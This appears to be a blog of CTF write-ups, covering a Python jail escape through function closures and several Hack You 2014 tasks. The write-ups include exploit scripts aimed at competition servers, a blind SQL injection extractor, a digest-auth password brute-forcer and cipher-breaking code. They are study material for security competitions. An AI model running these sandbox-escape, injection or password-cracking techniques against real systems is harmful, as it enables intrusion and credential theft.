Tuesday, January 28, 2014

PHDays CTF Quals 2014 - Yet Another Pyjail Writeup

To get a flag in "yet another pyjail" task I've used the next approach:
Due to a source code of the task:
import re
import sys
import string
from sys import stdout
sys.stderr = stdout


sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re


def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]


part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'


def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()
    
    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break
    
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider
        
        exec_in_context({'div': divider})

    sandbox()


if __name__ == '__main__':
    main()
the flag is consists of two parts. First part of the flag is set inside we_must_be_sure_flag_part1_is_ready function, and a second part inside we_must_be_sure_flag_part2_is_ready function.
So to get the flag we need to call these functions consequentially. After that, assert statement:
assert FLAG != part1_of_flag will be successfully passed and the flag will be printed.
Using func_closure of div, I received a tuple of cells that contain bindings for the function’s free variables.
And I've found needed functions:
div.func_closure[8] – we_must_be_sure_flag_part1_is_ready function
div.func_closure[9] – we_must_be_sure_flag_part2_is_ready function
After calling them I've successfully got a flag!
Here is a full exploit code:
import socket

server_ip = '195.133.87.177'
server_port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server_ip, server_port))

s.send('leetleetleetleet' + '\n')
print s.recv(1000)

code = 'def get_cell_value(cell):return type(lambda:0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))();\n'
code += 'print get_cell_value(div.func_closure[8])();\n'
code += 'print get_cell_value(div.func_closure[9])();\n'
s.send(code + '\n')

s.send('---' + '\n')
print s.recv(1000)
print s.recv(1000)
print s.recv(1000)
s.close()
And the output is:
Welcome to pyjail!


Try to get the flag!
Use ctrl+D or --- to submit your code



None

None
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
The flag is:
7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649

Wednesday, January 15, 2014

Hack You 2014 Writeups

Today finished Hack you 2014 – individual computer security competition by guys from Leet More and Hardc0de CTF teams. Thank you guys for your interesting tasks.
Now it's time for writeups.

Reverse 100 – NotEasyTask
We have a .NET program. After decompiling with ILSpy, we need to listen host "127.0.0.1", i.e. localhost on port 31337 for our key :)
private static void Main(string[] args)
{
 string hostname = "127.0.0.1";
 int port = 31337;
 TcpClient tcpClient = new TcpClient();
 try
 {
  Console.WriteLine("Connecting...");
  tcpClient.Connect(hostname, port);
 }
 catch (Exception)
 {
  Console.WriteLine("Cannot connect!\nFail!");
  return;
 }
 Socket client = tcpClient.Client;
 string text = "Super Secret Key";
 string text2 = Program.read();
 client.Send(Encoding.ASCII.GetBytes("CTF{"));
 string text3 = text;
 for (int i = 0; i &lt; text3.Length; i++)
 {
  char x = text3[i];
  client.Send(Encoding.ASCII.GetBytes(Program.search(x, text2)));
 }
 client.Send(Encoding.ASCII.GetBytes("}"));
 client.Close();
 tcpClient.Close();
 Console.WriteLine("Success!");
}
So use simple python server to listen for our key:
import BaseHTTPServer
server_address = ('127.0.0.1', 31337)
handler_class = BaseHTTPServer.BaseHTTPRequestHandler
httpd = BaseHTTPServer.HTTPServer(server_address, handler_class)
httpd.serve_forever()
After executing reverse100.exe, our python server will receive the key:
CTF{7eb67b0bb4427e0b43b40b6042670b55}

PPC 100 – Trash
Archive with QR-codes images was given for first PPC task.  It was needed to save all these chunks of decoded data into a single file. Using zbar python module for decoding QR codes I easily got the resulting file – zip archive with one more archive inside 92b57ac641cf0c84588b494de3ca0fbd.zip (I figured it out due to its binary content), but unfortunately something was wrong with resulting archive – it was corrupted. After some time, I came up with that the problem can be related to encoding. I tried to use the ISO-8859-1 encoding for data and it worked.
#!/usr/bin/python
#-*- coding: utf8 -*-

import zbar
import Image

def decode_qr_from_image(image_path):
 scanner = zbar.ImageScanner()
 image = Image.open(image_path).convert('L')
 width, height = image.size
 raw = image.tostring()
 zbar_image = zbar.Image(width, height, 'Y800', raw)
 scanner.scan(zbar_image)
 data = ''
 for symbol in zbar_image.symbols:
  if 'QRCODE' in str(symbol.type):
   data = symbol.data
 return data.decode('utf')

def combine_decoded_qr_codes():
 data = ''
 for i in xrange(1, 174):
  decoded_data = decode_qr_from_image('/hackyou2014/tasks/ppc100/%03d.png' % i)
  data += decoded_data[9:] # cut PART
 with open('123.zip', 'wb') as f:
  f.write(data.encode('ISO-8859-1'))
Inside this resulting archive was a lot of nested archives, and inside the last nesting archive was file data.pkl. From the name it is obvious that it's a serialized (pickled) Python objects data.
After unpickling the file using the next code: 
import sys
import pickle 
data = ''
with open('data.pkl', 'r') as f:
 data = pickle.load(f) 

for d in data:
 for v in d:
  sys.stdout.write(v[0] * int(v[1]))
 sys.stdout.write('\n')
And then after printing each item from unpickled data, we get an ascii-styled flag:


Crypto 100 – Easy one
Need to break a cipher and decrypt msg002.enc
We have unencrypted file msg001, encrypted files msg001.enc, msg002.enc, and a source code of encryptor:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
 if (argc != 3) {
  printf("USAGE: %s INPUT OUTPUT\n", argv[0]);
  return 0;
 }
 FILE* input  = fopen(argv[1], "rb");
 FILE* output = fopen(argv[2], "wb");
 if (!input || !output) {
  printf("Error\n");
  return 0;
 }
 char k[] = "CENSORED";
 char c, p, t = 0;
 int i = 0;
 while ((p = fgetc(input)) != EOF) {
  c = (p + (k[i % strlen(k)] ^ t) + i*i) & 0xff;
  t = p;
  i++;
  fputc(c, output);
 }
 return 0;
} 
Firstly need to recover the key used for encryption.
So using the next python code with encrypor function ported from C-code, it's simple to recover a key.
#!/usr/bin/python
#-*- coding: utf8 -*-

import string

def encoder(input_data, key):
 k = key
 c = p = t = 0
 i = 0
 res = ''
 for p in input_data:
  c = (ord(p) + (ord(k[i % len(k)]) ^ t) + i * i) & 0xff
  t = ord(p)
  i += 1
  res += chr(c)
 return res

def find_key(input_data, need_out_data):
 key = ''
 for i in xrange(1,len(need_out_data)):
  n = need_out_data[0:i]
  for alpha in string.letters:   
   if encoder(input_data, key + alpha)[0:i] == n:
    key += alpha
    break
 return key

with open('msg001','rb') as f0:
 data = f0.read()

with open('msg001.enc','rb') as f1:
 data_enc = f1.read()

key = find_key(data, data_enc)
print key
After the execution, we got the encryption key: VeryLongKeyYouWillNeverGuess
Now just need to find original text message.
Using the next function for brute original message:
def find_original_message(key, out_data):
 message = ''
 for i in xrange(1,len(out_data)):
  o = out_data[0:i]
  for alpha in [chr(c) for c in xrange(0, 255)]:
   if encoder(message + alpha, key)[0:i] == o:
    message += alpha
    break
 return message

with open('msg002.enc','rb') as f2:
 data_enc2 = f2.read()

print find_original_message('VeryLongKeyYouWillNeverGuess', data_enc2)
We'll get the next text, with a flag:
The known-plaintext attack (KPA) is an attack model for cryptanalysis where the attacker has samples of both the plaintext (called a crib), and its encrypted version (ciphertext). These can be used to reveal further secret information such as secret keys and code books. The term "crib" originated at Bletchley Park, the British World War II decryption operation.
The flag is CTF{6d5eba48508efb13dc87220879306619}

Web 100 – Voting
I've solved this task using only hex-encoded injection in ID. Lost a lot of time for brute-forcing and reading character by character table name, columns and flag. :(
def get_flag():
 flag = ''
 for i in xrange(1,38):
  client = http_client()
  url = 'http://hackyou2014tasks.ctf.su:10080'
  for letter in '{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ':
   query = '(SELECT 100+(SELECT SUBSTR(flag,%s,1)="%s" FROM task.Flag LIMIT 1))' % (i, letter)
   post_data = {
    'id':'0x' + str_to_hexstr(query),
    'vote':'5',
    'submit':'Submit'
   }
   response = client.request(url + '/index.php', post_data)
   if TRUE_RESPONSE in response:
    flag += letter
    break
 return flag
Flag is: CTF{820178c33c03aaa7cfe644c691679cf8}

Network 100 – PCAP
We have a pcap file. After analyzing the requests and responses from pcap file it became clear that digest access authentication was used on the site.
After reading how digest access authentication works I've used the next code to crack password using dictionary file with passwords.
def brute_password(passwd):
 username = 'admin'
 realm = 'Private Area'
 password = passwd
 nonce = '1389094144'
 httpMethod = 'GET'
 requestedUri = '/auth.php'
 nonceCount = '00000001'
 clientNonce = '347278e387a2f030'
 qop = 'auth'
 user_data = md5.md5(username + ':' + realm + ':' + password).hexdigest()
 request_data = md5.md5(httpMethod + ':' + requestedUri).hexdigest()
 response = md5.md5(user_data + ':' + nonce + ':'+ nonceCount + ':'+ clientNonce + ':' + qop + ':' + request_data).hexdigest()
 if response == 'f86930f9e0466aeced34036bc2f7a346':
  return password
 return ''

password_list = []
with open('passwords.txt','r') as f:
 password_list = f.read().split('\n')

for p in password_list:
 res_password = brute_password(p)
 if res_password:
  print res_password
  break
Password cowboy123 has been successfully found.
After logging in the site with username admin and found password, we got the flag:
CTF{6ee8014f5cc43767d03d97d6d73d9ed5}

Reverse 200 – Newbie calculations
Given a file, that will calculate a flag for you, but you have to wait.
After analyzing disassembled code I understood that to calculate and get a flag some slow functions with loops are used. These three functions performing the basic arithmetic operations of addition, subtraction and multiplication of two numbers. So I've optimized them.
As a result, I got the next code to calculate a flag:
// all flag chars are set to 1
for ( i = 0; i < 32; ++i )
  flag_chars[i] = 1;

flag_chars[32] = 0; // null terminator

print_text("Your flag is:");

var0 = mul_ab(flag_chars, 1000000000);
var1 = sub_ab(var0, 999999950);
mul_ab(var1, 2);
// 100 = d

var2 = add_ab(&flag_chars[1], 5000000);           
var3 = sub_ab(var2, 6666666);             
var4 = add_ab(var3, 1666666);
var5 = add_ab(var4, 45);
var6 = mul_ab(var5, 2);
add_ab(var6, 5);
// 97 = a

var7 = mul_ab(&flag_chars[2], 1000000000);
var8 = sub_ab(var7, 999999950);
var9 = mul_ab(var8, 2);
add_ab(var9, 2);
// 102 = f

var10 = add_ab(&flag_chars[3], 55);
var11 = sub_ab(var10, 3);
var12 = add_ab(var11, 4);
sub_ab(var12, 1);
// 56 = 8

var13 = mul_ab(&flag_chars[4], 100000000);
var14 = sub_ab(var13, 99999950);
var15 = mul_ab(var14, 2);
add_ab(var15, 2);
// 102 = f

var16 = sub_ab(&flag_chars[5], 1);
var17 = mul_ab(var16, 1000000000);
var18 = add_ab(var17, 55);
sub_ab(var18, 3);
// 52 = 4

var19 = mul_ab(&flag_chars[6], 1000000);
var20 = sub_ab(var19, 999975);
mul_ab(var20, 4);
// 100 = d

var21 = add_ab(&flag_chars[7], 55);
var22 = sub_ab(var21, 33);
var23 = add_ab(var22, 44);
sub_ab(var23, 11);
// 56 = 8

var24 = mul_ab(&flag_chars[8], 10);
var25 = sub_ab(var24, 5);
var26 = mul_ab(var25, 8);
add_ab(var26, 9);
// 49 = 1

var27 = add_ab(&flag_chars[9], 0);
var28 = sub_ab(var27, 0);
var29 = add_ab(var28, 11);
var30 = sub_ab(var29, 11);
add_ab(var30, 53);
// 54 = 6

var31 = add_ab(&flag_chars[10], 49);
var32 = sub_ab(var31, 2);
var33 = add_ab(var32, 4);
sub_ab(var33, 2);
// 50 = 2

var34 = mul_ab(&flag_chars[11], 1000000);
var35 = sub_ab(var34, 999999);
var36 = mul_ab(var35, 4);
add_ab(var36, 50);
// 54 = 6

var37 = add_ab(&flag_chars[12], 1);
var38 = add_ab(var37, 1);
var39 = add_ab(var38, 1);
var40 = add_ab(var39, 1);
var41 = add_ab(var40, 1);
var42 = add_ab(var41, 1);
var43 = add_ab(var42, 10);
add_ab(var43, 32);
// 49 = 1

var44 = mul_ab(&flag_chars[13], 10);
var45 = sub_ab(var44, 5);
var46 = mul_ab(var45, 8);
var47 = add_ab(var46, 9);
add_ab(var47, 48);
// 97 = a

var48 = sub_ab(&flag_chars[14], 1);
var49 = mul_ab(var48, 4000000000);
var50 = add_ab(var49, 55);
sub_ab(var50, 3);
// 52 = 4

var51 = add_ab(&flag_chars[15], 1);
var52 = add_ab(var51, 2);
var53 = add_ab(var52, 3);
var54 = add_ab(var53, 4);
var55 = add_ab(var54, 5);
var56 = add_ab(var55, 6);
var57 = add_ab(var56, 7);
add_ab(var57, 20);
// 49 = 1

var58 = mul_ab(&flag_chars[16], 10);
var59 = sub_ab(var58, 5);
var60 = mul_ab(var59, 8);
var61 = add_ab(var60, 9);
add_ab(var61, 48);
// 97 = a

var62 = add_ab(&flag_chars[17], 7);
var63 = add_ab(var62, 6);
var64 = add_ab(var63, 5);
var65 = add_ab(var64, 4);
var66 = add_ab(var65, 3);
var67 = add_ab(var66, 2);
var68 = add_ab(var67, 1);
add_ab(var68, 20);
// 49 = 1

var69 = add_ab(&flag_chars[18], 7);
var70 = add_ab(var69, 2);
var71 = add_ab(var70, 4);
var72 = add_ab(var71, 3);
var73 = add_ab(var72, 6);
var74 = add_ab(var73, 5);
var75 = add_ab(var74, 1);
add_ab(var75, 20);
// 49 = 1

var76 = mul_ab(&flag_chars[19], 1000000);
var77 = sub_ab(var76, 999999);
var78 = mul_ab(var77, 4);
var79 = add_ab(var78, 50);
sub_ab(var79, 1);
// 53 = 5

var80 = sub_ab(&flag_chars[20], 1);
var81 = mul_ab(var80, -294967296);
var82 = add_ab(var81, 49);
sub_ab(var82, 1);
// 48 = 0

var83 = sub_ab(&flag_chars[21], 1);
var84 = mul_ab(var83, 1000000000);
var85 = add_ab(var84, 54);
var86 = sub_ab(var85, 1);
var87 = add_ab(var86, 1000000000);
sub_ab(var87, 1000000000);
// 53 = 5

var88 = add_ab(&flag_chars[22], 49);
var89 = sub_ab(var88, 1);
var90 = add_ab(var89, 2);
sub_ab(var90, 1);
// 50 = 2

var91 = mul_ab(&flag_chars[23], 10);
var92 = sub_ab(var91, 5);
var93 = mul_ab(var92, 8);
var94 = add_ab(var93, 9);
add_ab(var94, 48);
// 97 = a

var95 = add_ab(&flag_chars[24], 1);
var96 = add_ab(var95, 3);
var97 = add_ab(var96, 3);
var98 = add_ab(var97, 3);
var99 = add_ab(var98, 6);
var100 = add_ab(var99, 6);
var101 = add_ab(var100, 6);
add_ab(var101, 20);
// 49 = 1

var102 = add_ab(&flag_chars[25], 55);
var103 = sub_ab(var102, 33);
var104 = add_ab(var103, 44);
var105 = sub_ab(var104, 11);
add_ab(var105, 42);
// 98 = b

add_ab(&flag_chars[26], flag_chars[25]); // flag_chars[25] = 98
// 99 = c

add_ab(&flag_chars[27], flag_chars[12]); // flag_chars[12] = 49
// 50 = 2

var106 = flag_chars[27]; // 50
var107 = sub_ab(&flag_chars[28], 1);
var108 = add_ab(var107, var106);
sub_ab(var108, 1);
// 49 = 1

var109 = flag_chars[23]; // 97
var110 = sub_ab(&flag_chars[29], 1);
var111 = mul_ab(var110, 1000000);
add_ab(var111, var109);
// 97 = a

var112 = flag_chars[27]; // 50
var113 = add_ab(&flag_chars[30], 1);
mul_ab(var113, var112);
// 100 = d

add_ab(&flag_chars[31], flag_chars[30]); // flag_chars[30] = 100
// 101 = e

print_func("CTF{");

for ( j = 0; j < 32; ++j )
  print_func("%c"); // print flag 

print_func("}\n");
The flag for this task is:
CTF{daf8f4d816261a41a115052a1bc21ade}

Crypto 300 – Matrix
Do you like math?
Need to decrypt flag.wmv.out file. Encryptor file is provided.
Firstly need to get a key.
Knowing the signature of WMV file (ASF magic number): 30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C and its encrypted equivalent from flag.wmv.out it's not hard to recover the key used for encryption.
Using the next formulas:
encoded_header_matrix = original_header_matrix ⋅ key_matrix
key_matrix = original_header_matrix-1 ⋅ encoded_header_matrix

we'll get the next code to find a key:
import numpy as np

data = ''
with open(filename, 'rb') as f:
 data = f.read()
length = unpack('!I', data[0:4])

encoded_header_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4, 4 + 32, 2)]
encoded_header_matrix = [encoded_header_words[i:i+4] for i in xrange(0, 16, 4)]
print 'encoded_header_matrix =', encoded_header_matrix

wmv_magic_numbers = '30 26 B2 75 8E 66 CF 11 A6 D9 00 AA 00 62 CE 6C'
original_header_matrix = Str2matrix(wmv_magic_numbers.replace(' ', '').decode('hex'))
print 'original_header_matrix =', original_header_matrix

print 'key_matrix = ', np.dot(np.matrix(original_header_matrix).I, np.matrix(encoded_header_matrix))
key = [31, 51, 20, 0, 53, 10, 6, 45, 3, 13, 3, 49, 17, 48, 56, 31]
After that we can recover original data.
According to a formula:
original_data_matrix = encoded_data_matrix ⋅ key_matrix-1

the code for recovering original wmv file is:
def data_to_matrix(data, offset):
 data_words = [unpack('!H', data[i:i+2])[0] for i in xrange(4 + 32 * offset, 4 + 32 * offset + 32, 2)]
 matrix = [data_words[i:i+4]  for i in xrange(0, 16, 4)]
 return matrix

original_data = ''
length_value = length[0]
print length_value
for i in xrange(0, length_value / 16):
 original_data_matrix = np.dot(np.matrix(data_to_matrix(data, i)), np.matrix(key_matrix).I)
 out_data = ''.join([chr(int(c)) for c in np.array(np.rint(original_data_matrix)).reshape(-1)])
 original_data += out_data    

with open(filename + '.dec.wmv', 'wb') as f:
 f.write(original_data)
After successful recovering I've got a video with a flag. Here is a snapshot:
Yeah :)
The flag: CTF{b699a72e2692d16f65ec9626055aa740}